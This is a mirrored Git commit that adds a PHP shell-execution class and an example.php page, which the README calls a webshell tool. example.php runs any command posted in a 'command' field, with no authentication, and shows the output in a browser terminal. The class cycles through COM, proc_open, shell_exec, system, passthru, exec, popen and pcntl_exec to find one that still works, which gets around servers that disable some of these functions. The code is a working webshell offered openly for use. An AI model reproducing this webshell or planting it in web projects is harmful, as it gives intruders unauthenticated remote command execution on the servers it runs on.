mirror of
https://github.com/xiaoqidun/shell.git
synced 2024-10-03 17:50:21 +08:00
feat(项目文件): 添加项目文件
This commit is contained in:
parent
25e75ea8a0
commit
ed02323e85
1
.gitignore
vendored
Normal file
1
.gitignore
vendored
Normal file
@ -0,0 +1 @@
|
||||
.idea/
|
17
README.md
17
README.md
@ -1,2 +1,17 @@
|
||||
# shell
|
||||
# 简而言之
|
||||
大概是PHP最强大的SHELL执行类了
|
||||
# 系统兼容
|
||||
PHP 5.4 + (主要是用了中括号数组,改掉中括号数组可以要求更低)
|
||||
# 使用说明
|
||||
## 示范代码
|
||||
```php
|
||||
<?php
|
||||
require 'shell.class.php';
|
||||
$command = "ls /";
|
||||
echo shell::command($command, "echo pwd", true);
|
||||
?>
|
||||
```
|
||||
## example.php
|
||||
这是一个使用shell.class.php实现的webshell工具,用于shell类演示。
|
||||
# 授权说明
|
||||
使用本类库你唯一需要做的就是把LICENSE文件往你用到的项目中拷贝一份。
|
103
example.php
Normal file
103
example.php
Normal file
@ -0,0 +1,103 @@
|
||||
<?php
|
||||
/**
|
||||
* @author 肖其顿 <xiaoqidun@gmail.com>
|
||||
*/
|
||||
$command = isset($_POST['command']) ? strval($_POST['command']) : "";
|
||||
if ($command !== "") {
|
||||
require 'shell.class.php';
|
||||
echo shell::command($command, "echo pwd", true);
|
||||
exit;
|
||||
}
|
||||
?>
|
||||
<html>
|
||||
<head>
|
||||
<title>web shell</title>
|
||||
<style type="text/css">
|
||||
.author {
|
||||
width: 100%;
|
||||
color: white;
|
||||
text-align: center;
|
||||
background-color: black;
|
||||
}
|
||||
|
||||
.commandInput {
|
||||
width: 100%;
|
||||
height: 3%;
|
||||
color: white;
|
||||
background-color: black;
|
||||
}
|
||||
|
||||
.commandResult {
|
||||
width: 100%;
|
||||
height: 75%;
|
||||
color: white;
|
||||
overflow: scroll;
|
||||
background-color: black;
|
||||
}
|
||||
|
||||
.commandHistory {
|
||||
width: 100%;
|
||||
height: 15%;
|
||||
color: white;
|
||||
overflow: scroll;
|
||||
background-color: black;
|
||||
}
|
||||
</style>
|
||||
<script type="text/javascript">
|
||||
function enter() {
|
||||
if (event.keyCode == 13) {
|
||||
command();
|
||||
}
|
||||
}
|
||||
|
||||
function command() {
|
||||
var commandInput = document.getElementById('commandInput');
|
||||
if (commandInput.value.length > 0) {
|
||||
var commandResult = document.getElementById('commandResult');
|
||||
var commandHistory = document.getElementById('commandHistory');
|
||||
if (commandHistory.innerHTML.length < 1) {
|
||||
commandHistory.innerHTML = commandInput.value;
|
||||
} else {
|
||||
commandHistory.innerHTML = commandHistory.innerHTML + "\n" + commandInput.value;
|
||||
}
|
||||
commandHistory.scrollTop = commandHistory.scrollHeight;
|
||||
if (commandInput.value === 'clear') {
|
||||
commandInput.value = "";
|
||||
commandResult.innerHTML = "";
|
||||
commandHistory.innerHTML = "";
|
||||
return;
|
||||
}
|
||||
command_ajax();
|
||||
}
|
||||
}
|
||||
|
||||
function command_ajax() {
|
||||
var xmlHttp = new XMLHttpRequest;
|
||||
var commandInput = document.getElementById('commandInput');
|
||||
var commandResult = document.getElementById('commandResult');
|
||||
xmlHttp.open("POST", "?", true);
|
||||
xmlHttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
|
||||
xmlHttp.send("command=" + encodeURI(commandInput.value));
|
||||
commandInput.value = "";
|
||||
xmlHttp.onreadystatechange = function () {
|
||||
if (xmlHttp.readyState === 4 && xmlHttp.status === 200) {
|
||||
if (commandResult.innerHTML.length < 1) {
|
||||
commandResult.innerHTML = xmlHttp.responseText;
|
||||
} else {
|
||||
commandResult.innerHTML = commandResult.innerHTML + "\n" + xmlHttp.responseText;
|
||||
}
|
||||
commandResult.scrollTop = commandResult.scrollHeight;
|
||||
}
|
||||
}
|
||||
}
|
||||
</script>
|
||||
</head>
|
||||
<body>
|
||||
<input id="commandInput" class="commandInput" onkeydown="enter()" placeholder="command">
|
||||
<pre id="commandHistory" class="commandHistory"></pre>
|
||||
<pre id="commandResult" class="commandResult"></pre>
|
||||
<div class="author">
|
||||
CopyRight © 2017-<?= date("Y") + 1 ?> xiaoqidun@gmail.com All Rights Reserved
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
251
shell.class.php
Normal file
251
shell.class.php
Normal file
@ -0,0 +1,251 @@
|
||||
<?php
|
||||
/**
|
||||
* @author 肖其顿 <xiaoqidun@gmail.com>
|
||||
*/
|
||||
|
||||
class shell
|
||||
{
|
||||
public static $version = 'v1.0.0';
|
||||
|
||||
public static function Convert($string, $to = 'utf-8', $from = 'auto,cp936')
|
||||
{
|
||||
$func = 'mb_convert_encoding';
|
||||
if (!function_exists($func)) {
|
||||
return $string;
|
||||
}
|
||||
return $func($string, $to, $from);
|
||||
}
|
||||
|
||||
public static function Command($command, $testCommand = null, $convert = false)
|
||||
{
|
||||
$typeA = 'proc_open';
|
||||
$typeB = 'shell_exec';
|
||||
$typeC = 'exec';
|
||||
$typeD = 'system';
|
||||
$typeE = 'passthru';
|
||||
$typeF = 'popen';
|
||||
$typeG = 'pcntl_exec';
|
||||
$typeH = 'com';
|
||||
$typeRank = [
|
||||
$typeH,
|
||||
$typeA,
|
||||
$typeB,
|
||||
$typeD,
|
||||
$typeE,
|
||||
$typeC,
|
||||
$typeF,
|
||||
$typeG
|
||||
];
|
||||
if (!is_array($command)) $command = [$command];
|
||||
if (!is_array($testCommand) && $testCommand !== null) $testCommand = [$testCommand];
|
||||
$commandFunctions = [
|
||||
$typeA => [
|
||||
'command' =>
|
||||
function ($command) {
|
||||
$cmd = "exec " . self::GetShellFile();
|
||||
if (defined('PHP_WINDOWS_VERSION_BUILD')) {
|
||||
$cmd = self::GetShellFile();
|
||||
}
|
||||
if (!is_resource($sh = proc_open($cmd, [
|
||||
0 =>
|
||||
["pipe", "r"],
|
||||
1 =>
|
||||
["pipe", "w"]
|
||||
], $pipes))) {
|
||||
return false;
|
||||
}
|
||||
foreach ($command as $commandLine) {
|
||||
fwrite($pipes[0], $commandLine . PHP_EOL);
|
||||
}
|
||||
fclose($pipes[0]);
|
||||
$result = stream_get_contents($pipes[1]);
|
||||
fclose($pipes[1]);
|
||||
proc_close($sh);
|
||||
return $result;
|
||||
},
|
||||
'function' =>
|
||||
[
|
||||
'proc_open',
|
||||
'stream_get_contents'
|
||||
]
|
||||
],
|
||||
$typeB => [
|
||||
'command' => function ($command) {
|
||||
$commandResult = "";
|
||||
foreach ($command as $commandLine) {
|
||||
$commandResult .= shell_exec($commandLine);
|
||||
}
|
||||
return $commandResult;
|
||||
},
|
||||
'function' => [
|
||||
'shell_exec'
|
||||
]
|
||||
],
|
||||
$typeC => [
|
||||
'command' => function ($command) {
|
||||
$commandResult = "";
|
||||
foreach ($command as $commandLine) {
|
||||
exec($commandLine, $commandOutput);
|
||||
$commandResult .= implode(PHP_EOL, $commandOutput);
|
||||
}
|
||||
return $commandResult;
|
||||
},
|
||||
'function' => [
|
||||
'exec'
|
||||
]
|
||||
],
|
||||
$typeD => [
|
||||
'command' => function ($command) {
|
||||
ob_start();
|
||||
foreach ($command as $commandLine) {
|
||||
system($commandLine);
|
||||
}
|
||||
$commandResult = ob_get_clean();
|
||||
return $commandResult;
|
||||
},
|
||||
'function' => [
|
||||
'system',
|
||||
'ob_start',
|
||||
'ob_get_clean'
|
||||
]
|
||||
],
|
||||
$typeE => [
|
||||
'command' => function ($command) {
|
||||
ob_start();
|
||||
foreach ($command as $commandLine) {
|
||||
passthru($commandLine);
|
||||
}
|
||||
$commandResult = ob_get_clean();
|
||||
return $commandResult;
|
||||
},
|
||||
'function' => [
|
||||
'passthru',
|
||||
'ob_start',
|
||||
'ob_get_clean'
|
||||
]
|
||||
],
|
||||
$typeF => [
|
||||
'command' => function ($command) {
|
||||
$commandResult = "";
|
||||
foreach ($command as $commandLine) {
|
||||
$p = popen($commandLine, "r");
|
||||
while (!feof($p)) {
|
||||
$commandResult .= fgets($p);
|
||||
}
|
||||
}
|
||||
},
|
||||
'function' => [
|
||||
'popen'
|
||||
]
|
||||
],
|
||||
$typeG => [
|
||||
'command' => function ($command) {
|
||||
$command[] = '';
|
||||
$outputFile = tempnam(null, 'commandOutput_');
|
||||
$outputFilePipe = sprintf(" >> %s 2>&1%s", $outputFile, PHP_EOL);
|
||||
$commandString = implode($outputFilePipe, $command);
|
||||
$commandProcess = pcntl_fork();
|
||||
if ($commandProcess == 0) {
|
||||
pcntl_exec(self::GetShellFile(), ["-c", $commandString]);
|
||||
}
|
||||
pcntl_waitpid($commandProcess, $status);
|
||||
$commandResult = file_get_contents($outputFile);
|
||||
unlink($outputFile);
|
||||
return $commandResult;
|
||||
},
|
||||
'function' => [
|
||||
'pcntl_exec',
|
||||
'pcntl_fork',
|
||||
'pcntl_waitpid'
|
||||
]
|
||||
],
|
||||
$typeH => [
|
||||
'command' => function ($command) {
|
||||
$commandResult = "";
|
||||
try {
|
||||
$ws = new \COM("wscript.shell");
|
||||
$exec = $ws->Exec(self::GetShellFile());
|
||||
foreach ($command as $commandLine) {
|
||||
$exec->StdIn->WriteLine("$commandLine");
|
||||
}
|
||||
$exec->StdIn->WriteLine("exit");
|
||||
$exec->StdIn->Close();
|
||||
while (0 === $exec->Status) {
|
||||
time_nanosleep(0, 1e8);
|
||||
}
|
||||
$commandResult = $exec->StdOut->ReadAll() . $exec->StdErr->ReadAll();
|
||||
} catch (\Exception $exception) {
|
||||
|
||||
}
|
||||
return $commandResult;
|
||||
},
|
||||
'class' => [
|
||||
'\COM'
|
||||
]
|
||||
]
|
||||
];
|
||||
foreach ($commandFunctions as $tag => $item) {
|
||||
if (isset($item['class'])) {
|
||||
foreach ($item['class'] as $cls) {
|
||||
if (!class_exists($cls)) {
|
||||
unset($func);
|
||||
unset($commandFunctions[$tag]);
|
||||
}
|
||||
}
|
||||
}
|
||||
if (isset($item['function'])) {
|
||||
foreach ($item['function'] as $func) {
|
||||
if (!function_exists($func)) {
|
||||
unset($func);
|
||||
unset($commandFunctions[$tag]);
|
||||
break;
|
||||
}
|
||||
unset($func);
|
||||
}
|
||||
}
|
||||
unset($tag);
|
||||
unset($item);
|
||||
}
|
||||
if ($testCommand !== null) {
|
||||
foreach ($commandFunctions as $tag => $item) {
|
||||
$commandResult = $item['command']($testCommand);
|
||||
if (1 > strlen($commandResult)) {
|
||||
unset($commandFunctions[$tag]);
|
||||
}
|
||||
unset($tag);
|
||||
unset($item);
|
||||
}
|
||||
}
|
||||
foreach ($typeRank as $type) {
|
||||
if (isset($commandFunctions[$type])) {
|
||||
$commandReturn = $commandFunctions[$type]['command']($command);
|
||||
if ($convert) {
|
||||
return self::Convert($commandReturn);
|
||||
}
|
||||
return $commandReturn;
|
||||
}
|
||||
unset($type);
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
public static function GetShellFile()
|
||||
{
|
||||
$shellFileList = [
|
||||
'C:\Windows\System32\cmd.exe',
|
||||
'C:\Windows\SysWOW64\cmd.exe',
|
||||
'/system/bin/sh',
|
||||
'/bin/bash',
|
||||
'/bin/sh'
|
||||
];
|
||||
foreach ($shellFileList as $shellFile) {
|
||||
if (is_executable($shellFile)) {
|
||||
return $shellFile;
|
||||
}
|
||||
}
|
||||
if (defined('PHP_WINDOWS_VERSION_BUILD')) {
|
||||
return 'cmd.exe';
|
||||
}
|
||||
return 'sh';
|
||||
}
|
||||
}
|
Loading…
Reference in New Issue
Block a user